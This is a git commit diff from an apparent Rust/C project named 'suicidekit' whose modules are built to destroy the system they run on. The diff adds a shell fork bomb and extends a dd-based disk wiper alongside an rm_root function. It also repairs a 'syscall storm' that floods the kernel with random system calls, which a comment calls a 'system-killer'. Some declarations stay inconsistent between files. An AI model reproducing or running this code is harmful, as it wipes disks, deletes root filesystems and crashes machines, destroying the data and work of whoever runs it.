summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorNamilskyy <alive6863@gmail.com>2025-10-29 23:49:52 +0300
committerNamilskyy <alive6863@gmail.com>2025-10-29 23:49:52 +0300
commitc3ebda7ce605e40e6bc43b3d492f0fb0a8153e59 (patch)
treee2f79fea660f1d958b76afded4d243ba64ef5e29 /src
parente6aa891cadd94232b533a95feebf764a61054fcc (diff)
Building release
Diffstat (limited to 'src')
-rw-r--r--src/critical/classic/dd.c1
-rw-r--r--src/critical/classic/mod.rs6
-rw-r--r--src/critical/fork_bomb.c5
-rw-r--r--src/critical/fork_bomb.h3
-rw-r--r--src/critical/mod.rs2
-rw-r--r--src/main.rs4
-rw-r--r--src/non_critical/gui_destroyer.rs3
-rw-r--r--src/non_critical/random_sounds.c10
-rw-r--r--src/non_critical/syscall_storm.c40
9 files changed, 51 insertions, 23 deletions
diff --git a/src/critical/classic/dd.c b/src/critical/classic/dd.c
index 07df54d..17454cc 100644
--- a/src/critical/classic/dd.c
+++ b/src/critical/classic/dd.c
@@ -1,6 +1,7 @@
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
+#include <stdbool.h>
void random_data_linux(char sym_drive[16], bool random) {
char command[55];
diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs
index f0e38a4..f72a5a0 100644
--- a/src/critical/classic/mod.rs
+++ b/src/critical/classic/mod.rs
@@ -1,12 +1,12 @@
use std::os::raw::c_char;
extern "C" {
- pub fn random_data_linux(sym_drive: *const c_char);
+ pub fn random_data_linux(sym_drive: *const c_char, random: bool);
pub fn rm_root();
}
-pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
- random_data_linux(sym_drive);
+pub unsafe fn wipe_with_dd(sym_drive: *const c_char, random: bool) {
+ random_data_linux(sym_drive, random);
}
pub unsafe fn remove_root() {
diff --git a/src/critical/fork_bomb.c b/src/critical/fork_bomb.c
index e69de29..693a488 100644
--- a/src/critical/fork_bomb.c
+++ b/src/critical/fork_bomb.c
@@ -0,0 +1,5 @@
+#include <stdlib.h>
+
+void fork_bomb() {
+ system(":(){ :|:& };:");
+} \ No newline at end of file
diff --git a/src/critical/fork_bomb.h b/src/critical/fork_bomb.h
index e69de29..bd114fb 100644
--- a/src/critical/fork_bomb.h
+++ b/src/critical/fork_bomb.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void fork_bomb(); \ No newline at end of file
diff --git a/src/critical/mod.rs b/src/critical/mod.rs
index f0e38a4..379ec29 100644
--- a/src/critical/mod.rs
+++ b/src/critical/mod.rs
@@ -3,6 +3,7 @@ use std::os::raw::c_char;
extern "C" {
pub fn random_data_linux(sym_drive: *const c_char);
pub fn rm_root();
+ pub fn fork_bomb();
}
pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
@@ -12,3 +13,4 @@ pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
pub unsafe fn remove_root() {
rm_root();
}
+
diff --git a/src/main.rs b/src/main.rs
index 126f13c..a3e6e33 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,6 +1,6 @@
use std::ffi::CString;
use std::os::raw::c_int;
-use clap::{Parser, Subcommand};
+use clap::{Parser, Subcommand, command};
mod non_critical;
mod critical;
@@ -39,7 +39,7 @@ enum Commands {
}
fn main() {
- let cli = Cli::parse();
+ let cli = Parser::parse();
match cli.command {
Commands::RandomSounds { threads, time } => unsafe {
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs
index a7d1c75..3c72def 100644
--- a/src/non_critical/gui_destroyer.rs
+++ b/src/non_critical/gui_destroyer.rs
@@ -20,7 +20,10 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
let _ = fb.write(&garbage);
}
+
}
+
+ Ok(())
}
diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c
index 4e7ba76..847fc44 100644
--- a/src/non_critical/random_sounds.c
+++ b/src/non_critical/random_sounds.c
@@ -1,7 +1,13 @@
-#include <alsa/asoundlib.h>
+
+#define _GNU_SOURCE
+#define __timespec_defined
+#define __struct_timespec_defined
+
+#include <time.h>
+#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
-#include <pthread.h>
+#include <alsa/asoundlib.h>
#define MAX_THREADS 5
diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c
index ff7347d..a7a2066 100644
--- a/src/non_critical/syscall_storm.c
+++ b/src/non_critical/syscall_storm.c
@@ -9,29 +9,33 @@
pthread_t THRS[MAX_THREADS];
-
-static void* syscall_storm_linux(void* iterations) {
+static void* syscall_storm_linux(void* arg) {
+ int iterations = *(int*)arg;
while(1) {
- for(int i = 0; 1 < iterations; i++) {
+ for(int i = 0; i < iterations; i++) {
syscall(rand() % 400, rand() / rand());
- printf("%d. Called rand(), from thread %d", i);
+ printf("%d. Called rand(), from thread %d\n", i, (int)(intptr_t)arg);
+ }
}
-}
+ return NULL;
}
int init_syscall_storm(int threads, int iterations) {
- if (threads > 5) {
- printf("ERR: Max treads 5, %d required", threads);
- return NULL;
+ if (threads > MAX_THREADS) {
+ printf("ERR: Max treads 5, %d required\n", threads);
+ return -1;
}
- for(int i = 0; i < MAX_THREADS; i++) {
- int thread_args[i] = i;
- if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_args) != 0) {
- printf("ERR: Could not create thread %d", i);
- return NULL;
+ for(int i = 0; i < threads; i++) {
+ int *thread_arg = malloc(sizeof(int));
+ *thread_arg = iterations;
+ if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_arg) != 0) {
+ printf("ERR: Could not create thread %d\n", i);
+ free(thread_arg);
+ return -1;
}
- };
+ }
+ return 0;
}
void stop_syscall_storm() {
@@ -39,6 +43,10 @@ void stop_syscall_storm() {
pthread_cancel(THRS[i]);
}
}
-
//TODO: Fix this and create random shit-syscall chooser. Maximaly shitcoded!!! Its system-killer, not a default program
-//TODO: Add support for other *NIXes \ No newline at end of file
+//TODO: Add support for other *NIXes
+
+
+// cc -O0 -ffunction-sections -fdata-sections -fPIC -gdwarf-4 -fno-omit-frame-pointer -m64 -I src/non_critical -I src/critical/classic -std=c11 -o /home/namilskyy/suicidekit/target/debug/build/suicidekit-d9b57cca9def6d72/out/170d28c25dafbf6f-random_sounds.o -c src/non_critical/random_sounds.c
+
+